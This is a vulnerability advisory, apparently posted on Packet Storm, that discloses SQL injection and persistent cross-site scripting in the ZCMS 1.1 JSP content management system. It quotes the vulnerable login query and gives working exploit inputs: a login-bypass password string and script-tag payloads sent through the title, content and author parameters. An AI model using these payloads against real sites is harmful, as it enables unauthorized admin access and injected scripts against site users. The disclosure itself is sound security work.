what you don't know can hurt you

ZCMS 1.1 Cross Site Scripting / SQL Injection

ZCMS 1.1 Cross Site Scripting / SQL Injection
Posted Jun 12, 2015
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

ZCMS version 1.1 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
advisories | CVE-2015-7346, CVE-2015-7347
MD5 | cec4ab905829c9ba8b78bd6255a8a89d

ZCMS 1.1 Cross Site Scripting / SQL Injection

Change Mirror Download
[+] Credits: John Page ( hyp3rlinx )

[+] Domains: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ZCMS0612.txt



Vendor:
=============================================
http://zencherry.com/
http://sourceforge.net/projects/zencherrycms



Product:
==================================================
ZCMS_1.1 JavaServer Pages Content Management System



Advisory Information:
==============================
SQL Injection & Persistent XSS



Vulnerability Details:
======================
SQL Injection:
Login to admin area requires a password but is easily bypassed
using classic SQLInjection method because application uses
concatenated user input to construct SQL queries.


ZCMS exploitable admin login code:
==================================
squerry="SELECT COUNT(username) AS usercount FROM "+TABLE_PREFIX+"users
WHERE
status = 0 AND username = '"+username+"' AND password =
'"+request.getParameter("pass") +"' AND type = 1 ;";


So we just supply an Admin password like ---> HELL' OR '2'='2
which will resolve as true!


SQL Inject XSS Payload:
=======================
We can also inject persisten XSS payload directly to MySQL database
subverting
all character filtering leveraging existing SQLInjection vulnerabilities.


Persistent XSS:
===============

Another persistent XSS vector is here in author field for comments:
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
number]


Exploit code(s):
===============

1) Bypass admin login
---------------------
localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=login
Enter 'admin' for username field
Enter HELL' OR '2'='2 for the pass field


2) Inject XSS using SQL Injection
---------------------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/?dir=editpost&p=1&title=
"<script>alert(1)</script>
&content=<script>alert(1)</script>&author=<script>alert(1)</script>
SATAN&visibility=1&type=1&comm=0


3) Persistent XSS field
-----------------------
http://localhost:8081/ZCMS_1.1/ZCMS_1.1/index.jsp?dir=editpost&p=[page
number]
Inject <script>alert(666)</script> in author input field.



Disclosure Timeline:
=========================================================
Vendor Notification: NA
June 12, 2015 : Public Disclosure



Severity Level:
=========================================================
High



Description:
==========================================================

Request Method(s): [+] GET & POST


Vulnerable Product: [+] ZCMS_1.1


Vulnerable Parameter(s): [+] pass, title, content, author


Affected Area(s): [+] Admin, CMS


===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that
it is not altered except by reformatting it, and that due credit is given.
Permission is
explicitly given for insertion in vulnerability databases and similar,
provided that
due credit is given to the author. The author is not responsible for any
misuse of the
information contained herein and prohibits any malicious use of all
security related
information or exploits by the author or elsewhere.


(hyp3rlinx)

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    11 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    17 Files
  • 22
    Aug 22nd
    9 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close